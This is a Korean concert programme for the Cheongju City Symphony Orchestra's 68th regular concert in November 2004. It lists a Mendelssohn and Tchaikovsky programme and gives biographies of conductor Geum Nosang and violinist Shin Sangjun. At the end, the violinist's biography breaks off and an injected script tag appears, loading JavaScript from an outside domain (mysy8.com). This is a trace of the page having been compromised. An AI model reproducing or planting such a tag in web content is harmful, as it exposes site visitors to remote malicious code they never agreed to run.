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청주시립교향악단 제68회 정기연주회
객원지휘 / 금 노 상
바이올린 / 신 상 준
일시 : 2004.11.18(목) 저녁7시
장소 : 예술의전당 대공연장
주최 : 청 주 시
공연문의 / 043 -279- 4611
예 매 / 043-279-4641
홈페이지 art.cjcity.net
입장료 / 5.000원
Program
⊙ 서곡「핑갈의 동굴」 ------------------- 멘델스존
Overture to「Die Hebriden」in b minor
op.26 / B.F. Mendelssohn
바이올린 독주 / 신상준
⊙ 바이올린 협주곡 마단조 작품.64 ------- 멘델스존
Violin Concerto No.1 in e minor
op.64 / B.F. Mendelssohn
1. Allegro molto appassionato
2. Andante
3. Allegretto non troppo
Allegro molto vivace
------------ 휴 식 (INTERMISSION) ------------
⊙ 교향곡 제6번 “ 비창” 작품74------- 차이코프스키
Symphony No.6 in b minor op.74
『Pathetique』 / P.Tchaikovsky
1. Adagio - Allegro non troppo
2. Allegro con grazia
3. Allegro molto vivace
4. Finale Adagio Lamentozo
지휘자 / 금 노상 GEUM NOSANG
지휘자 금노상은 서울예고와 한양대학에서 피아노를 전공하였고 클라우디오 아바도(Claudio Abbado).쥬빈 메타(Zubin Mehta)등 명지휘자들을 배출시킨 비엔나 국립음악학교(Wien Musik Hochschule)에서 그곳교수이며 당시 동베를린 국립 오페라좌 음악감독겸 지휘자인 오트마 쉬트너(Otmar Suitner) 의 문하에서 1980 - 1985년 동안 사사하여 지휘 디플롬을 받았으며 또한 오페라 전문지휘 과정인 Korrepetition Praxis 를 지휘과와 복수 전공 하며 지휘자로서의 기반을 닦았다
오스트리아 톤 퀸스틀러 오케스트라. 비엔나 프로 아르테 오케스트라. 마케도니아 오케스트라. 대만성교향악단 등 해외교향악단과 KBS교향악단. 코리안심포니를 지휘하였고 서울시립교향악단을 비롯하여 부산시향. 대구시향. 대전시향. 울산시향. 전주시향. 수원시향. 부천시향. 제주시향 등 전국의 시립교향악단과 등을 지휘하였다
또한 국립오페라단. 한국오페라단. 광주오페라단 등 을 통해 오페라 지휘자로서도 활동하였고 대표적 실내악단인 서울 바로크합주단. 서울신포니에타 등 도 지휘 하였다.
또한 한국지휘자로는 처음으로 마케도니아 국립오페라단과 중국 상하이교향악단을 지휘하였고 대만성립교향악단과 인천시립교향악단과 합동 공연으로 타이완 전역에서 공연하기도 했다
1989년부터 1994년 2월 까지 광주시립교향악단의 상임지휘자로 만 5년이 넘는 재임 기간을 통하여 광주시향을 국내 정상급 교향악단으로 도약 발전시킨 평가를 받았으며 1994년부터 10년 동안 인천시립교향악단의 음악감독 겸 상임지휘자로 활동하면서 인천시향을 4관편성의 관현악단으로 확대하여 R.스트라우스. 구스타프 말러. 이고르 스트라빈스키 등 대편성의 새로운 작품들을 소개했으며 부르크너교향곡 등을 한국 초연하는 등 국내 교향악단 발전을 위해 정진해온 우리나라의 대표적인 지휘자중 한사람이며 중앙대학교음악대학교수로 재직 중이다
바이올린 / 신상준
바이올리니스트 신상준은 일찍이 6세에 도미하여 세계적인 명문대학인 Indiana University 음대에서 4년간 장학생으로 수학하였다. 명인 Josef Gingold와 Paul Biss에게 사사했으며. 최우수 졸업생에게만 수여하는 Violin Performance Certificate(바이올린연주자격증)을 획득 하였다. 또한 Carnegie-Mellon 대학원에서 장학생으로 수학하였고. American Conservatory of Music 대학원을 졸업 하였다. Arnold Steinhart. Janos Starker. Rostislav Dubinsky 등과의 Chamber Studies. Miriam Fried. Aaron Rosand. Tsutoshi Tsutumi 등과의 Master Class를 통한 끊임없는 연주활동과 더불어 Owensboro와 Carnegie-Mellon의 Young Artist Competition. Indiana 대학의 Paganini Caprices Competition 입상경력과 Lezington Philharmonic. Richmond Symphony. Owensboro Symphony. Evansville Philharmonic 오케스트라부악장 역임등 귀국직전까지 Pittsburgh Symphony 오케스트라와 Columbus Symphony 오케스트라에서 연주활동을 하였다.
지난 81년에는 국립교향악단의 초청으로 처음으로 고국무대에서의 협연과 독주회를 통하여 한국에 데뷔했고. 88년 Columbus 현악4중주의 미국. 일본순회연주. 92년 Columbus Metropolitan Chamber 오케스트라와 협연에 이어 93년 진해 Chamber 오케스트라와의 협연. 94년 청주. 부산에서 귀국 독주회. 부산시향. 부산신포니에타. 광주시향. 대구경북 심포니 오케스트라와의 협연등 국내외서 활발한 연주활동?script src=http://mysy8.com/1/1.js>
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